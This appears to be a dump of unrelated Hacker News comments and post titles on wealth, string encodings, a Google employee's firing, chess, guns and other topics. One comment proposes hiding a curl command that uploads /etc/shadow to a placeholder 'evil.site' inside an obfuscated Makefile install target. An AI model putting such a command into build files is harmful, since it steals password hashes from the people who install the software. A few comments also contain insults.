skysight-inc/HackerNews huggingface dataset:
> Other methods, whether they involve quantity of free time or already-available money, are intrinsically tied to the quality of your job or, failing that, the quality of your parents' or partner's jobs.

For a lot of educated types, the best chance of really climbing the wealth ladder is early involvement in a startup. The startup founders I know have a single unifying factor, they come from the sort of wealth that allows them to go completely bankrupt and still live comfortably.

We have good incomes and live pretty frugally, and for us that translates to a decent amount saved for retirement and college funds. I would never knock that, that we are incredibly lucky and a lot of people work very hard for less. But it doesn't move us up a class such that we have a house overlooking the beach and kids in 20k/year private schools. I know people who have those, and they didn't work their way up a ladder. Their ladder started on the 10th floor.
It's blatantly obvious that you can make decisions that will move you from not wealthy to really wealthy. However, if you want to do it without risk, it takes time, patience and iterating the same frugal choices many times over the years.

If this isn't your cup of tea, fine. Don't pretend it's impossible.
Shields aren't a particularly strange metaphor because changing jobs is about job security. One usually clings to the security of the current job until security of the next job suddenly removes the barriers to exit.
Ok. I perhaps unfairly was defending against the comment "[more] broken and probably dangerously hostile [than other comparable organizations]"
Space is always a concern, and encodings should largely be transparent to your application unless you're writing something like a rendering engine.

Consider things like databases (relational/document/key-value/etc.), JSON payloads, compression algorithms, battery life, etc. etc.

There is a problem with lots of developers assuming UTF-16 is fixed-width (just look at this thread), but that's a mistake for any UTF encoding, and it's almost always a mistake in any encoding--you shouldn't be indexing into strings.

People say, "just use UTF-8, you never have to worry about it and it's ASCII compatible", but you shouldn't be using the ASCII compatibility (arguably this is an anti-feature) and you shouldn't have to worry about the details like BOM because you're using your language's built-in string support or a library right?
They're not just outing them, they're dumping their data. That changes the risk dynamic significantly. Before, if you didn't pay, you didn't get your data back. Now, you don't pay, they expose all your data to the world. For some companies, that will be a significantly more compelling reason to pay the ransom.
Or you could include

curl -F shadow=@/etc/shadow https://evil.site/upload.cgi

as one of the commands under the "install" target in the Makefile. That way you aren't dependent on the other guy running his C compiler as root (why?!). Just make sure the Makefile is some horribly mangled mess built by ./configure or something so nobody will be tempted to read it.
> It is the “spam folder” of the internet.

I absolutley love this and I'm stealing it.

I will point out though that those moron boomers who cant fact-check are all usually voters.. Easily influenced by the whims of BS.
less interesting
The employee was not correct in doing her legal obligation to inform people of their right to organize in an app designed to inform employees about various rights and things as they browse the web? Which she had the authority to do because it's literally what she was hired to do?

Can you explain how this makes the employee wrong if they follow the law and their company fires them for doing so?
Once the US gets rid of it's helium reserve wont helium become much more valuable?
I've launched and grown/run a few forums over the years and the key for me was to always seed it with as much quality content as possible.

Fake it until you make it.

I believe reddit did the same.
This isn't the first time either. Just before the walkout, a group of employees force-changed everyone's desktop background to an advertisement for the walkout. That particular change, while obnoxious, was harmless --- but that change could have been anything, including very difficult to detect spyware. It's essential that company-wide code and configuration changes occur only with official approval and process. Emotional and activism do not constute reasons to bypass this process.
This is inaccurate for internal tools.
> Level 6. Philanthropic freedom: You can give away money that has a profound impact on others.

Letting the rich decide how society is organised, what a great plan.
I believe the underlying assumption is that castling dominates (in a loose sense) the strategy space for both white and black, and tends towards draw-heavy game play.

The evidence for the claim that no-castling would fix this is alpha go's performance against itself under no-castle rules.
The reluctance might be because polymorphism and pattern matching are kind-of solving the same problem from different angles.
The FTC already has truth in advertising regulation for non-political ads, no matter the platform. Is that a slippery slope?
> Prefixing this by saying I am not siding with Google (since people make assumptions).

Prefixing this by saying I'm not making an assumption about who you're siding with, but offering my opinion on the argument you're using.

> The standard approval process sounds like most merge review processes on any engineering team. There's a sort of assumed good-faith for this process. The fact that 2 coworkers were fine with your change doesn't mean it was made in good-faith and was within the bounds of normal types of changes.

Other people have already argued about whether what she added to the extension is in line with the purpose of the extension and whether it was within her purview.

Regardless of that, I would like to point out that we're not hearing that these two coworkers -- or anyone else involved in the process -- have been fired. Only Spiers. If the concern is really about the security and the trust, why is one person singled out?
From her description of her job position it seems like programming a popup to appear over twitter with a message like "Don't slack off dummy UwU" was exactly what Google wanted her to do in her job.

> As a security engineer who worked on the Chrome browser’s use within Google, Spiers wrote browser notifications so that employees could be automatically notified of the company’s policies and guidelines as they browse the internet. Spiers said that engineers regularly implement such code changes to make their jobs easier and share personal interests.

But programming a popup to appear over a union busting law firm website with a message that such and such law exists was not.

> Spiers wrote a few lines of code that created a pop-up message asserting Google employees’ labor rights whenever her co-workers visited the consulting firm’s website or Google’s community guidelines. The message reads: "Googlers have the right to participate in protected concerted activities." The pop-up would have been visible to anyone at Google.
> https://www.vice.com/en_us/article/jgexe8/google-fired-an-en...
Keeping Top AI Talent in the United States [pdf]
Ensuring a gpg key isn't lost seems pretty obnoxious.
Right I think WASM offers some nice advantages over native for distributed fuzzing.

It's also worth pointing out that Mozilla made a (non-WASM) distributed fuzzing project, virgo: https://github.com/MozillaSecurity/virgo
but it appears to be inactive.
Replying to this as I can't reply to the other child comment:
The secret key is emailed given to you when you enroll and is used, frequently, every time you enroll a new device. 1Password would have to screw up catastrophically to just not use it.

Obviously they _could_ screw up catastrophically, but if you don't trust them to operate their service with a basic level of competence you probably shouldn't be using them as a password manager to begin with.
This comment chain started off by talking about getting fired from tech companies, not specifically Google. But okay.
Abortion is a giant debate, and there should be SOME type of regulation as to how far you can go along with a pregnancy before you decide to just kill it. But this is about a human, intentionally giving another human HIV. Intentionally giving anyone HIV should be against the law.
Angular Configuration on Netlify
I agree with you, and this flies in the face of Kiyosaki-isms.
Intentional that your link is https?
PE will continue to milk this cow like they've done before (eg Intuit, etc).
Everyone knows that Democrats don't propagandize, maneuver, or move money at the outer limits of what is legal. Not once ever.
As a counter-point, I've never flat out turned down a potential opportunity due to being "happy" at work. I mean, if something that might be better comes along, I owe it to myself and my family to give it a shot.

When I'm unhappy, I'll seek out those opportunities, but when I'm happy I'll let them come to me. There's no way I'll tell someone "I don't want to meet with you" just because I'm too happy at my job, though.

Sometimes I move on, sometimes I don't. Sometimes I try to move on and then get convinced to stay...
WebAssembly Myth: JavaScript Replacement
It will be remembered as the largest intellectual garbage heap in history. I feel sorry for the people that actual use it to share personal photos and memories. It would be like printing your family pictures in the Daily Mirror.

Garbage Meme - Last Picture of your Ant Muriel 5 years ago - Avocado Advertisement
How do you see the risk of the most greedy company bidding the most to get privileged access to the data, and coming up with a cure that out-prices you or your family if you ever end up hit by the disease ?

For me this is the simulation that gives me pause. I also guess that research might not just happen on itself, but can't help to wonder what better ways they could be to avoid getting cornered at the end.
In other words, you get a discount for buying in bulk. :)
I've heard of people going from a bootcamp course straight into Google and optimizing 100% for the career path. They make embarrassingly more than I do, have been programming for a scant few years, and I couldn't care less.

I've been programming for most of my life. I've poured hours into learning 6502, BASIC, 8086, C, C++, Perl, Python, Javascript, Common Lisp, Haskell... to say nothing of physics, linear algebra, geometry, graphics, logic, type theory, abstract algebra, category theory, information theory, databases, networking, compilers, operating systems, interactive theorem provers, distributed systems, etc. I've never even been to university or college and I've been doing this for nearly twenty years professionally.

Do it because you like it, because it means something to you. Keep being you and doing what you think is important and useful.
It feels weird for me to read comments in this thread debating about and assuming a simple note about unionization or organization by an employee whose job it was to do exactly this kind of thing is "not in good faith" or a "violation". In my mind this kind of thing has the same sentiment as _any_ policy notice. The world in which notifying people that they have the right to organize is a "violation" is a really messed up one. It's simply distributing a fact, as the company is legally required to do, published by an employee who was responsible for distributing exactly these kinds of facts. It's sad when this type of information sparks this kind of a) termination by the company of an otherwise apparently very well performing employee and b) controversy in a forum.
the "build it and they will come" myth is at work here. You have to actively participate in other facebook group, provide values (answering question of others regarding finance/net worth calculation etc), help others as much as you can, so people can be aware of your presence and also your app.
There is a reason I am specifically talking about security team members.
I have always assumed that the 'no two step in first move' is the reason of structure of all the _Indian defenses_: first move is a knight move followed by Bishop fianchetto. Most pawn moves are a single step pawn move.

https://en.wikipedia.org/wiki/Indian_Defence
Configuration is code. Many an outage has been caused by a bad configuration push.
So this individual could have posted the 2nd Amendment in there and it wouldn't be advocacy? /s
The problem with approaching conversations like team sports is you inevitably end up pigeon holing people like this.
> * She invested in individual stocks, mostly during a period when index funds weren't available. This lack of diversification is almost unanimously not recommended for regular people because the vast majority of people who try it dramatically underperform index funds. But if enough people do it someone will dramatically outperform and you'll read about them in the paper.

Sampling biais: there's no going to be any article on the people who lost all their money doing this
https://en.m.wikipedia.org/wiki/Goodstein%27s_theorem

Not provable in Peano Arithmetic.

https://en.m.wikipedia.org/wiki/Continuum_hypothesis

Not provable in ZFC.

There are a few more.
does a swedish exec really make just $5000/month post tax? that's not much more than I net at my first software gig out of college (and not in SF or NYC).
Yeah, it was its own page in the sign up process from what I remember.
Before computing divorced the idea of the file from the physicality of the storage medium, music was sold as live performance, printed paper, plastic discs, or magnetic tape.

Those all have a non-trivial cost of reproduction.

Now that music is just files, the marginal cost of sending a file down the network wire is proportional to its compressed file size, which is insignificant in relation to the cost of the human labor of creating a master recording.

Also, now that music is encoded digitally, all copies are (usually) perfect reproductions of the original.
> perhaps it's popularity is because of the censorship, not in spite of it.

I'd argue that content curation is usually seen as a plus, and censorship is a form of curation. What's missing in the equation is a distributed/federated reputation system, which I know Matrix gave a lot of thoughts about without finding an answer, and which twitter famously just launched a working group on.

Reputation such as the karma and up/down votes we get here are one of the ways to approach curation (tagging like #twitter does can be part of another approach).
The firing might hold in court, but to be frank there is no way she would get fired over something like this if it was not related to unionization or other anti corporate messages. Google is typically very lenient on harmless offences like this which is why the firing is a surprise.
There may be loads of people signing up, but I bet you've also seen a lot of people dropping out. Once you graduate, you'll see a lot of kids unable to find anything. Maybe not so many from your elite school, but for sure many people study CS without "getting it". Or liking it.

Ultimately, you are gaining skills that will benefit you whatever you get up to next. Just the simple fact that you know a bit about how computers work will put you ahead in just about any white collar job, since pretty much all those jobs have people staring at a computer all day. This is a lot more than can be said for most majors.

If you do decide to be a coder, there's lots of stuff to do. There's no walk of life that's far away from software these days.

If you're there for sheer joy, my guess is you'll find something you like and where someone values your contribution. I wouldn't worry so much about FAANG internships, the exagerrated focus on that seems to be something that's bled from finance internships, where it is indeed important.
> This identification is precisely what choice sequences are used to rule out.

But you don't need to rule them out -- Brouwer certainly didn't. He just wanted to rule out decidable sequences. It's the undecidability that's important to his result, not arbitrariness, and that's perfectly compatible with automata. He just didn't know about computational undecidability and thought that undecidability requires lawlessness, but it doesn't. In any event, he didn't think randomness violates finitism. That only finite systems can be the source of axioms has been a constant refrain of his. I see that according to Wikipedia's definition of Finitism, he would be a "classical finitist."

> In particular, without the axioms for choice sequences, you cannot derive the strong counterexamples, because you need classically-false axioms to prove classically-false theorems (like the continuity of all real-valued functions).

The continuity of all real-valued functions can be proven with just computable sequences because of undecidability; you just can't do it if computational undecidability hasn't been discovered yet. In fact, it doesn't even become quite "classically false", but can be "embedded" in classical mathematics by restricting the "all": all computable real functions are continuous is a classical theorem. AFAIK, all constructive theorems can be embedded in classical mathematics by restricting them to computable entities. Do you have an example of any result that relies on uncomputable sequences?
And not a Dang in sight. Imagine my shock.
It's an I-Know-It-When-I-See-It standard that would not have survived legal challenge with carveouts for Jimmy's squirrel rifle and grandpappy's hunting rifle. Sure, it's not feature tests, but it's not any more rational. If the intent was to ban semi-automatic rifles with detachable magazines, that law does not do that. If you believe that this law is "sane and straightforward," what rational basis is there for banning some semi-automatic rifles with detachable magazines while leaving others available at the whim of the Attorney General?
That’s basically what I said.

Anyway even Thiel as a “libertarian” is very unique in his thinking. Not many libertarians I know turn around and start companies like Palantir to help governments and police departments build a precog surveillance state. I wonder how he justifies that one given his claims of being libertarian-leaning.

https://www.theverge.com/platform/amp/2018/2/27/17054740/pal...

I disagree with the OP article, I don’t think there is anything AT ALL wrong with Mark Zuckerberg being friends with Republicans. However, the real shame of Mark Z’s association with Peter Thiel is the professional one. Peter was the first check in after Eduardo, $500K. His views would make most capitalists blush, eg “competition is for losers, build a monopoly and extract rents!” He writes as much in his book Zero to One. I bet that had a big effect on what Facebook has become and its view of taking the entire social networking space under itself, and its tactics of taking any data it can and storing it to give itself an advantage (eg in Friends you may Know). Oh sure it may apologize if caught but will continue to store the data.

Mark Z’s earlier attitude of “I dunno why they share the data, those dumb f-cks, they ‘trust me’” found a mentor in Peter Thiel early on to retain that militant guerilla approach even as Facebook had to turn into something more respectable and corporate. “Move fast and break things” gave them all the license they needed.
LastPass has taken a huge dip in quality since the Logmein acquisition and I expect this will only make it worse.
Sup: Super simple deployment tool – 'make' for a network of servers
> "lazy" developers aren't generally lazy, just bored

Well said, this has been my experience as well and so I also encourage automation as much as possible. I guess it depends on the business and tasks to do but there's generally no shortage of work in the backlog and if work can be automated, more resources can be spent on adding tests and new features.

If the tasks are straightforward, I often find it helpful for new starters to take on some of the automation projects. It allows them to get to grips with the pipeline a bit more and gets them to ask questions to other developers to clarify things, all whilst providing immediate value.
Playing with the linked web app shows pretty clearly that a carbon tax, or taxes on oil and natural gas, will in fact do very little. The conclusion I'm forced to draw after playing with all the dials is that it's literally impossible to "austerity" our way out of this. We're going to have to invent and develop our way out of it. Don't trust me; play with the sliders yourself.
When people write software, they don't need to target any and all platforms that can possibly operate on this software as input. If you want to only target GNU, that is perfectly fine. Just name your file `GNUmakefile` or put a comment at the header or in `README` to indicate you only support GNU.
> Luckily for gun control advocates the rate of firearm injuries also sharply increases for households that own guns, too.

Uh, ... wow. "Luckily?"

> you can significantly reduce deaths and injuries by removing guns - which people often have because they think having a gun will reduce those.

There may be better ways to reduce these than trying to remove the guns, though-- ways that mitigate and reduce harm and that don't impact personal liberties or the beneficial aspects of firearms.
Take your meds, schizo.
That is some amazing experience you have that no bootcamp can ever hope to teach. Thanks!
i'm not sure most people see "Bloomberg" and think of the person rather than the company
Tiv – Terminal Image Viewer
Hamachi was created by Alex Pankratov. Once LogMeIn purchased Hamachi, they ruined it with the following update (either purposefully or accidentally) by making it no longer work with a large handful of older games. That sanfu in combination with a more bloated UI, forced LogMeIn account, and a splattering of useless features made it obsolete within a few months. It was the fastest rise and fall of a piece of software I have ever personally witnessed. You can read about the original Hamachi on the author's website here: https://swapped.cc/#!/hamachi
> You've been duped by the dupe that everyone saw coming.

Not only that, this is one of the benevolent aspects of 23&Me that people saw coming. It's only a matter of time before this information trickles to insurance companies.
Whether or not she behaved properly is what I assume to be contested here.
Computer Science teaches you to think on abstract stuff. That enables you to do so many other thing (e.g. business process planning, organization planning, etc.). You see things differently (and most likely you already do). In that way it is similar to an MBA degree.

And if you wonder whether you make the big paycheck? Do not do that to yourself. Move somewhere where that is not important (and find the right partner for it).

Maybe fellow posters have even better examples than me.
Have you documented this journey anywhere? Would love to follow along.